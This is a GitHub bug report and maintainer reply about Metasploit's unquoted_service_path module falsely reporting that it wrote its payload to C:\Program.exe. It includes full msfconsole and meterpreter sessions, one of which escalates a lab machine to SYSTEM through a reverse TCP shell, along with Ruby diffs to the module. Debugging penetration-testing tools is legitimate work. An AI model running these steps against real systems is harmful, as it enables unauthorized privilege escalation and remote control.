Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

unquoted_service_path does not write the payload successfully #19029

Open
znre opened this issue Mar 30, 2024 · 2 comments
Open

unquoted_service_path does not write the payload successfully #19029

znre opened this issue Mar 30, 2024 · 2 comments
Labels
bug Stale Marks an issue as stale, to be closed if no action is taken

Comments

@znre
Copy link

znre commented Mar 30, 2024

Steps to reproduce

In a meterpreter session with a target that has an unquoted service path vulnerability, running the module unquoted_service_path returns that it was successful. But upon further investigation, the payload wasn't written even if the user has Full Control permissions on the C:\ directory.

msf6 > handler -H 172.xx.xx.10 -P 4450 -p windows/meterpreter/bind_tcp
[*] Payload handler running as background job 0.
msf6 >
[*] Started bind TCP handler against 172.xx.xx.10:4450
[*] Sending stage (176198 bytes) to 172.xx.xx.10
[*] Meterpreter session 1 opened (172.xx.xx.100:34133 -> 172.xx.xx.10:4450) at 2024-03-30 10:03:25 +0800

msf6 > sessions 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : ELS-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter > background
[*] Backgrounding session 1...

msf6 > use exploit/windows/local/unquoted_service_path
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/unquoted_service_path) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/unquoted_service_path) > set loglevel 3
loglevel => 3
msf6 exploit(windows/local/unquoted_service_path) > set LHOST tap0
LHOST => tap0
msf6 exploit(windows/local/unquoted_service_path) > set LPORT 4444
LPORT => 4444
msf6 exploit(windows/local/unquoted_service_path) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/unquoted_service_path) > exploit
[*] Started reverse TCP handler on 172.xx.xx.100:4444
[*] Finding a vulnerable service...
[*]       Placing C:\Program.exe for OpenVPNService
[*]       Attempting to write 15872 bytes to C:\Program.exe...
[+]       Successfully wrote payload
[*] [OpenVPNService] Restarting service
[-] [OpenVPNService] Restarting service failed: Could not open service. OpenServiceA error: Access is denied.
[-]       Unable to restart service. System reboot or an admin restarting the service is required. Payload left on disk!!!
[*] Waiting 303 seconds for shell to arrive
^C[*] Exploit completed, but no session was created.

The user doesn't have permissions to restart the service, but the output says that it successfully wrote the payload to C:\Program.exe and that the payload is left on disk. But when I list the contents of that directory, Program.exe doesn't exist:

meterpreter > ls C:\\
Listing: C:\
============

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
040777/rwxrwxrwx  4096   dir   2016-10-05 22:53:52 +0800  $Recycle.Bin
040777/rwxrwxrwx  0      dir   2009-07-14 12:53:55 +0800  Documents and Settings
040777/rwxrwxrwx  0      dir   2009-07-14 10:37:05 +0800  PerfLogs
040555/r-xr-xr-x  4096   dir   2016-10-05 22:49:27 +0800  Program Files
040777/rwxrwxrwx  4096   dir   2014-02-22 06:27:38 +0800  ProgramData
040777/rwxrwxrwx  0      dir   2014-02-22 05:59:41 +0800  Recovery
040777/rwxrwxrwx  4096   dir   2024-03-30 09:36:32 +0800  System Volume Information
040555/r-xr-xr-x  4096   dir   2016-10-05 22:53:49 +0800  Users
040777/rwxrwxrwx  16384  dir   2016-10-05 22:51:24 +0800  Windows
100777/rwxrwxrwx  24     fil   2009-06-11 05:42:20 +0800  autoexec.bat
100666/rw-rw-rw-  10     fil   2009-06-11 05:42:20 +0800  config.sys
000000/---------  0      fif   1970-01-01 08:00:00 +0800  pagefile.sys

meterpreter > shell
Process 2740 created.
Channel 3 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\>dir C:\
dir C:\
 Volume in drive C has no label.
 Volume Serial Number is 0681-6088

 Directory of C:\

06/10/2009  02:42 PM                24 autoexec.bat
06/10/2009  02:42 PM                10 config.sys
07/13/2009  07:37 PM    <DIR>          PerfLogs
10/05/2016  07:49 AM    <DIR>          Program Files
10/05/2016  07:53 AM    <DIR>          Users
10/05/2016  07:51 AM    <DIR>          Windows
               2 File(s)             34 bytes
               4 Dir(s)  18,240,122,880 bytes free

Were you following a specific guide/tutorial or reading documentation?

https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/windows/local/unquoted_service_path.md

Expected behavior

The payload Program.exe would be written to C:\

Current behavior

Nothing was written to C:\

Metasploit version

msf6 > version
Framework: 6.4.0-dev
Console  : 6.4.0-dev

Additional Information

I was able to exploit the unquoted service path manually.

This lab is from an INE course, the IP address seems to not fall in the private IP range so I just redacted it for safety.

@znre znre added the bug label Mar 30, 2024
@bcoles
Copy link
Contributor

bcoles commented Mar 30, 2024

I had a quick look at this.

But upon further investigation, the payload wasn't written even if the user has Full Control permissions on the C:\ directory.

The module reports the payload was written to disk but does not check whether the file write was successful.

print_status(" Attempting to write #{exe.length} bytes to #{exe_path}...")
write_file(exe_path, exe)
print_good ' Successfully wrote payload'

You could check with something like this:

diff --git a/modules/exploits/windows/local/unquoted_service_path.rb b/modules/exploits/windows/local/unquoted_service_path.rb
index 634d5b7f87..13e098469a 100644
--- a/modules/exploits/windows/local/unquoted_service_path.rb
+++ b/modules/exploits/windows/local/unquoted_service_path.rb
@@ -170,7 +170,12 @@ class MetasploitModule < Msf::Exploit::Local
       print_status("      Placing #{exe_path} for #{svc_name}")
       exe = @svc_exes[svc_name] ||= generate_payload_exe_service({ servicename: svc_name })
       print_status("      Attempting to write #{exe.length} bytes to #{exe_path}...")
-      write_file(exe_path, exe)
+
+      unless write_file(exe_path, exe)
+        print_error("#{exe_path} could not be written")
+        next
+      end
+
       print_good '      Successfully wrote payload'
       register_file_for_cleanup(exe_path)

It is possible that the payload was written but is cleaned up automatically upon completion. You can verify by removing the cleanup (then check if C:\Program.exe exists):

diff --git a/modules/exploits/windows/local/unquoted_service_path.rb b/modules/exploits/windows/local/unquoted_service_path.rb
index 634d5b7f87..0f10ccd30e 100644
--- a/modules/exploits/windows/local/unquoted_service_path.rb
+++ b/modules/exploits/windows/local/unquoted_service_path.rb
@@ -172,7 +172,7 @@ class MetasploitModule < Msf::Exploit::Local
       print_status("      Attempting to write #{exe.length} bytes to #{exe_path}...")
       write_file(exe_path, exe)
       print_good '      Successfully wrote payload'
-      register_file_for_cleanup(exe_path)
+      #register_file_for_cleanup(exe_path)
 
       #
       # Run the service, let the Windows API do the rest

If the file is cleaned up too early, you could work around this using by setting WfsDelay; ie, set WfsDelay 600 to wait 10 minutes for a shell.


For what it's worth, I tested the module successfully on a vulnerable system:

msf6 > use exploit/windows/local/unquoted_service_path
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/unquoted_service_path) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/unquoted_service_path) > set loglevel 2
loglevel => 2
msf6 exploit(windows/local/unquoted_service_path) > set lhost 192.168.200.130 
lhost => 192.168.200.130
msf6 exploit(windows/local/unquoted_service_path) > set lport 4444
lport => 4444
msf6 exploit(windows/local/unquoted_service_path) > set session 1
session => 1
msf6 exploit(windows/local/unquoted_service_path) > set verbose true
verbose => true
msf6 exploit(windows/local/unquoted_service_path) > run

[*] Started reverse TCP handler on 192.168.200.130:4444 
[*] Finding a vulnerable service...
[+] Found potentially vulnerable service: TeamTalk Service - C:\Program Files\TeamTalk3\TeamTalkService.exe (LocalSystem)
[*]   Enumerating vulnerable paths
[+]     C:\ is writable
[*]       Placing C:\Program.exe for TeamTalk Service
[*]       Attempting to write 15872 bytes to C:\Program.exe...
[+]       Successfully wrote payload
[*] [TeamTalk Service] Restarting service
[*] Sending stage (176198 bytes) to 192.168.200.190
[+] [TeamTalk Service] Service started
[+] Deleted C:\Program.exe
[*] Meterpreter session 2 opened (192.168.200.130:4444 -> 192.168.200.190:1963) at 2024-02-27 12:50:17 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

Copy link

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here.
If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

@github-actions github-actions bot added the Stale Marks an issue as stale, to be closed if no action is taken label Apr 29, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Stale Marks an issue as stale, to be closed if no action is taken
Projects
Status: No status
Development

No branches or pull requests

2 participants